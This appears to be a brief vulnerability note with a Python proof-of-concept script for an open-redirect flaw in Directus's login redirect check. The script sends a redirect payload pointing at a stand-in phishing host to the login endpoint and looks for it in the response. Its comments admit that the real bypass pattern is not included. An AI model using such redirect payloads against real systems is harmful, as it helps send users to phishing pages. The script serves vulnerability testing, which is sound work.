CVE-2026-35410 Directus开放重定向漏洞

# Proof of Concept for CVE-2026-35410 import requests def check_redirect_vuln(target_host): """ Checks if the target Directus instance is vulnerable to open redirect. Note: The specific bypass technique depends on the malformed URL pattern. """ login_path = "/auth/login" # Example payload logic: Attacker tries to redirect to evil.com # The vulnerability allows bypassing the isLoginRedirectAllowed check malicious_payload = "http://evil.com/phishing" # Construct the full URL url = f"{target_host}{login_path}" params = {"redirect": malicious_payload} try: response = requests.get(url, params=params, allow_redirects=False) # Analyze response headers or body for the redirect if "evil.com" in response.text or "evil.com" in response.headers.get('Location', ''): print(f"[+] Potential Vulnerability Detected at {target_host}") print(f"[+] Payload triggered: {malicious_payload}") else: print("[-] Vulnerability not detected or payload requires specific formatting.") except Exception as e: print(f"Error connecting to {target_host}: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_redirect_vuln(target)